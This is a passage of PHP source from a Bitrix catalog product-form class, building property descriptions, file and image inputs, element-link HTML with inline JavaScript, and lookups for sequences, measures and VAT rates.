($userTypeMethod && is_callable($userTypeMethod)) { $values = $property->getPropertyValueCollection()->getValues(); $description = $userTypeMethod($propertySettings, $values); if ($property->getCode() === 'CML2_LINK') { $description['editable'] = false; } $specialTypes = ['custom', 'money', 'multimoney']; if (in_array($description['type'], $specialTypes, true)) { $name = static::preparePropertyNameFromProperty($property); $descriptionData = $description['data'] ?? []; if ($description['type'] === 'custom') { $descriptionData += $this->getCustomControlParameters($name); } elseif ($description['type'] === 'money' || $description['type'] === 'multimoney') { $descriptionData['affectedFields'] = [ $name . '[CURRENCY]', $name . '[AMOUNT]', ]; $descriptionData['currency'] = [ 'name' => $name . '[CURRENCY]', 'items' => $this->getCurrencyList(), ]; $descriptionData['amount'] = $name . '[AMOUNT]'; $descriptionData['currencyCode'] = $name . '[CURRENCY]'; $descriptionData['formatted'] = $name . '[FORMATTED_AMOUNT]'; $descriptionData['formattedWithCurrency'] = $name . '[FORMATTED_AMOUNT_WITH_CURRENCY]'; } $description['data'] = $descriptionData; } if (empty($description['data'])) { $description['data'] = []; } $description['data']['isProductProperty'] = true; return $description; } return []; } protected function getCurrencyList(): array { static $currencyList = null; if ($currencyList === null) { $currencyList = []; foreach (CurrencyManager::getNameList() as $code => $name) { $currencyList[] = [ 'VALUE' => $code, 'NAME' => htmlspecialcharsbx($name), ]; } } return $currencyList; } protected function getPropertySettings(Property $property): array { $propertySettings = $property->getSettings(); if (!empty($propertySettings['USER_TYPE'])) { $propertySettings['PROPERTY_USER_TYPE'] = \CIBlockProperty::GetUserType($propertySettings['USER_TYPE']); } return $propertySettings; } protected function getImagePropertyViewHtml($value): string { $fileCount = 0; // single scalar property if (!empty($value) && !is_array($value)) { $value = [$value]; } if (is_array($value)) { $fileCount = min(count($value), 3); $value = reset($value); } $imageSrc = null; if (!empty($value)) { $image = \CFile::GetFileArray($value); if ($image) { $imageSrc = $image['SRC']; } } switch ($fileCount) { case 3: $multipleClass = ' ui-image-input-img-block-multiple'; break; case 2: $multipleClass = ' ui-image-input-img-block-double'; break; case 0: $multipleClass = ' ui-image-input-img-block-empty'; break; case 1: default: $multipleClass = ''; break; } if ($imageSrc) { $imageSrc = " src=\"{$imageSrc}\""; return <<<HTML <div class="ui-image-input-img-block{$multipleClass}"> <div class="ui-image-input-img-block-inner"> <div class="ui-image-input-img-item"> <img class="ui-image-input-img"{$imageSrc}> </div> </div> </div> HTML; } return ''; } /** * @return \CMain */ protected function getApplication(): \CMain { global $APPLICATION; return $APPLICATION; } protected function getImageComponent(array $params): string { ob_start(); $this->getApplication()->includeComponent('bitrix:ui.image.input', '', $params); return ob_get_clean(); } protected function getFilePropertyEditHtml($description, $value, $controlId, bool $multipleForList = null): string { if ($multipleForList === null) { $multiple = $description['settings']['MULTIPLE']; } else { $multiple = $multipleForList ? 'Y' : 'N'; } ob_start(); $this->getApplication()->IncludeComponent( 'bitrix:main.file.input', '.default', [ 'INPUT_NAME' => $description['name'], 'INPUT_NAME_UNSAVED' => $description['name'] . '_tmp', 'INPUT_VALUE' => $value, 'MULTIPLE' => $multiple, 'MODULE_ID' => 'catalog', 'ALLOW_UPLOAD' => 'F', 'ALLOW_UPLOAD_EXT' => $description['settings']['FILE_TYPE'], 'MAX_FILE_SIZE' => \CUtil::Unformat(ini_get('upload_max_filesize')), 'CONTROL_ID' => $controlId, ] ); return ob_get_clean(); } protected function getFilePropertyViewHtml($description, $value, $controlId, bool $multipleForList = null) { $cid = FileInputUtility::instance()->registerControl('', $controlId); $signer = new \Bitrix\Main\Security\Sign\Signer(); $signature = $signer->getSignature($cid, 'main.file.input'); if (is_array($value)) { foreach ($value as $elementOfValue) { FileInputUtility::instance()->registerFile($cid, $elementOfValue); } } else { FileInputUtility::instance()->registerFile($cid, $value); } if ($multipleForList === null) { $multiple = $description['settings']['MULTIPLE']; } else { $multiple = $multipleForList ? 'Y' : 'N'; } ob_start(); $this->getApplication()->IncludeComponent( 'bitrix:main.field.file', '', [ 'userField' => [ 'ID' => $description['settings']['ID'], 'VALUE' => $value, 'USER_TYPE_ID' => 'file', 'MULTIPLE' => $multiple, ], 'additionalParameters' => [ 'mode' => 'main.view', 'CONTEXT' => 'UI_EDITOR', 'URL_TEMPLATE' => '/bitrix/components/bitrix/main.file.input/ajax.php?' . 'mfi_mode=down' . '&fileID=#file_id#' . '&cid=' . $cid . '&sessid=' . bitrix_sessid() . '&s=' . $signature, ], ] ); return ob_get_clean(); } protected function getImagePropertyEditHtml(array $property, $value): string { $inputName = $this->getFilePropertyInputName($property); if ($value && !is_array($value)) { $value = [$value]; } $fileValues = []; if (!empty($value) && is_array($value)) { foreach ($value as $fileId) { $propName = str_replace('n#IND#', $fileId, $inputName); $fileValues[$propName] = $fileId; } } $fileType = $property['settings']['FILE_TYPE'] ?? null; $fileParams = [ 'name' => $inputName, 'id' => $inputName . '_' . random_int(1, 1000000), 'description' => $property['settings']['WITH_DESCRIPTION'] ?? 'Y', 'allowUpload' => $fileType ? 'F' : 'I', 'allowUploadExt' => $fileType, 'maxCount' => ($property['settings']['MULTIPLE'] ?? 'N') !== 'Y' ? 1 : null, 'upload' => true, 'medialib' => false, 'fileDialog' => true, 'cloud' => true, ]; return $this->getImageComponent([ 'FILE_SETTINGS' => $fileParams, 'FILE_VALUES' => $fileValues, 'LOADER_PREVIEW' => $this->getImagePropertyViewHtml($value), ]); } protected function getFilePropertyInputName(array $property): string { $inputName = $property['name'] ?? ''; if (isset($property['settings']['MULTIPLE']) && $property['settings']['MULTIPLE'] === 'Y') { $inputName .= '[n#IND#]'; } return $inputName; } protected function getElementPropertyEditHtml(string $name, array $propertyFields, $values, bool $bVarsFromForm = false, bool $isCopying = false): string { $name = htmlspecialcharsbx($name); $index = 0; $show = true; $propertyFields['LINK_IBLOCK_ID'] = (int)$propertyFields['LINK_IBLOCK_ID']; $multipleCount = (int)($propertyFields['MULTIPLE_CNT']); if ($multipleCount <= 0 || $multipleCount > 30) { $multipleCount = 5; } $cnt = ($propertyFields['MULTIPLE'] === 'Y' ? $multipleCount : 1); if (!is_array($values)) { $values = [$values]; } $fixIBlock = $propertyFields['LINK_IBLOCK_ID'] > 0; $windowTableId = 'iblockprop-' . PropertyTable::TYPE_ELEMENT . '-' . $propertyFields['ID'] . '-' . $propertyFields['LINK_IBLOCK_ID']; $searchParams = [ 'IBLOCK_ID' => (string)$propertyFields['LINK_IBLOCK_ID'], 'n' => $name, 'tableId' => $windowTableId, ]; if ($fixIBlock) { $searchParams['iblockfix'] = 'y'; } $result = '<table cellpadding="0" cellspacing="0" border="0" class="nopadding" width="100%" id="tb' . md5($name) . '">'; $key = ''; foreach ($values as $key => $val) { $show = false; if ($isCopying) { $key = 'n' . $index; $index++; } if (is_array($val) && array_key_exists('VALUE', $val)) { $val = $val['VALUE']; } $elementData = ElementTable::getList([ 'filter' => ['ID' => $val], 'limit' => 1, 'select' => ['NAME'], ]); $element = $elementData->fetch(); $currentSearchParams = $searchParams; $currentSearchParams['k'] = $key; $searchUrl = $this->urlBuilder->getElementSearchUrl($currentSearchParams); $result .= '<tr><td>' . '<input name="' . $name . '[' . $key . ']" id="' . $name . '[' . $key . ']" value="' . htmlspecialcharsbx($val) . '" size="5" type="text">' . '<input type="button" value="..." onClick="jsUtils.OpenWindow(\'' . $searchUrl . '\', 900, 700);">' . ' <span id="sp_' . md5($name) . '_' . $key . '" >' . htmlspecialcharsbx($element['NAME']) . '</span>' . '</td></tr>'; unset($searchUrl, $currentSearchParams); if ($propertyFields['MULTIPLE'] !== 'Y') { $bVarsFromForm = true; break; } } if (!$bVarsFromForm || $show) { for ($i = 0; $i < $cnt; $i++) { $val = ''; $key = 'n' . $index; $index++; $currentSearchParams = $searchParams; $currentSearchParams['k'] = $key; $searchUrl = $this->urlBuilder->getElementSearchUrl($currentSearchParams); $result .= '<tr><td>' . '<input name="' . $name . '[' . $key . ']" id="' . $name . '[' . $key . ']" value="' . htmlspecialcharsbx($val) . '" size="5" type="text">' . '<input type="button" value="..." onClick="jsUtils.OpenWindow(\'' . $searchUrl . '\', 900, 700);">' . ' <span id="sp_' . md5($name) . '_' . $key . '"></span>' . '</td></tr>'; } } if ($propertyFields['MULTIPLE'] === 'Y') { $currentSearchParams = $searchParams; $currentSearchParams['k'] = $key; $currentSearchParams['m'] = 'y'; $searchUrl = $this->urlBuilder->getElementSearchUrl($currentSearchParams); $result .= '<tr><td>' . '<input type="button" value="' . GetMessage('IBLOCK_AT_PROP_ADD') . '..." onClick="jsUtils.OpenWindow(\'' . $searchUrl . '\', 900, 700);">' . '<span id="sp_' . md5($name) . '_' . $key . '" ></span>' . '</td></tr>'; } $searchUrl = $this->urlBuilder->getElementSearchUrl($searchParams, "&k=n'+MV_" . md5($name) . "+'"); $result .= '</table>'; $result .= '<script type="text/javascript">' . "\r\n"; $result .= 'var MV_' . md5($name) . ' = ' . $index . ";\r\n"; $result .= 'function InS' . md5($name) . "(id, name){ \r\n"; $result .= " oTbl=document.getElementById('tb" . md5($name) . "');\r\n"; $result .= " oRow=oTbl.insertRow(oTbl.rows.length-1); \r\n"; $result .= " oCell=oRow.insertCell(-1); \r\n"; $result .= ' oCell.innerHTML=' . "'<input name=\"" . $name . "[n'+MV_" . md5($name) . "+']\" value=\"'+id+'\" id=\"" . $name . "[n'+MV_" . md5($name) . "+']\" size=\"5\" type=\"text\">'+\r\n" . "'<input type=\"button\" value=\"...\" '+\r\n" . "'onClick=\"jsUtils.OpenWindow(\'" . $searchUrl . "\', '+\r\n" . "' 900, 700);\">'+" . "' <span id=\"sp_" . md5($name) . "_n'+MV_" . md5($name) . "+'\" >'+name+'</span>" . "';"; $result .= 'MV_' . md5($name) . '++;'; $result .= '}'; $result .= "\r\n</script>"; return $result; } protected function getProductFieldValue(array $field) { $value = $this->entity->getField($field['originalName']); if ($field['originalName'] === 'PREVIEW_TEXT') { $detailTextType = $this->entity->getField('PREVIEW_TEXT_TYPE'); if ($detailTextType !== 'html') { $value = HtmlFilter::encode($value); } } if ($field['originalName'] === 'DETAIL_TEXT') { $detailTextType = $this->entity->getField('DETAIL_TEXT_TYPE'); if ($detailTextType !== 'html') { $value = HtmlFilter::encode($value); } } if ($field['originalName'] === 'MEASURE' && $value === null) { $defaultMeasure = \CCatalogMeasure::getDefaultMeasure(); if ($defaultMeasure) { $value = $defaultMeasure['ID']; } } if ($field['originalName'] === 'VAT_ID' && $value === null) { $value = 'D'; } if (($field['originalName'] === 'ACTIVE_FROM' || $field['originalName'] === 'ACTIVE_TO') && !($this instanceof GridVariationForm) && !empty($value)) { $value = $value->format(\Bitrix\Main\Type\DateTime::getFormat()); } if ($field['originalName'] === 'NAME-CODE') { $value = [ 'NAME' => $this->entity->getField('NAME'), 'CODE' => $this->entity->getField('CODE'), ]; } return $value; } protected function getPropertyFieldValue(array $field) { $property = $this->entity->getPropertyCollection()->findById($field['propertyId']); $value = $property ? $property->getPropertyValueCollection()->getValues() : null; if ($field['type'] === 'html') { if ($field['multiple']) { foreach ($value as &$item) { $item = $item['TEXT'] ?? null; } } else { $value = $value['TEXT'] ?? null; } } elseif ($property->getUserType() === \CIBlockPropertySequence::USER_TYPE) { if ($field['multiple']) { foreach ($value as $valueItemKey => $valueItem) { if ($valueItem > 0) { $value[$valueItemKey] = (int)$value; } else { $value[$valueItemKey] = $this->getSequence( $property->getId(), $property->getSetting('IBLOCK_ID') ); } } } else { if ($value > 0) { $value = (int)$value; } else { $value = $this->getSequence( $property->getId(), $property->getSetting('IBLOCK_ID') ); } } } return $value; } protected function getSequence(int $propertyId, int $propertyIblockId): int { static $sequenceList = []; if (empty($sequenceList[$propertyId])) { $sequence = new \CIBlockSequence($propertyIblockId, $propertyId); $isAjaxRequest = \Bitrix\Main\Context::getCurrent()->getRequest()->isAjaxRequest(); $sequenceList[$propertyId] = $isAjaxRequest ? $sequence->getCurrent() : $sequence->getNext(); } return $sequenceList[$propertyId]; } protected function getMeasures(): array { static $measures = null; if ($measures === null) { $measures = \Bitrix\Catalog\MeasureTable::getList([ 'select' => ['ID', 'CODE', 'MEASURE_TITLE'], ])->fetchAll(); } return $measures; } protected function getVats(): array { static $vats = null; if ($vats === null) { $vats = \Bitrix\Catalog\VatTable::getList([ 'select' => ['ID', 'NAME'], 'filter' => ['=ACTIVE' => 'Y'], ])->fetchAll(); } return $vats; } protected function getCustomControlParameters(string $fieldName): array { return [ 'view' => $fieldName . '[VIEW_HTML]', 'edit' => $fieldName . '[EDIT_HTML]', 'editList' => $fieldName . '[EDIT_HTML_LIST]', 'viewList' => $fieldName . '[VIEW_HTML_LIST]', ]; } }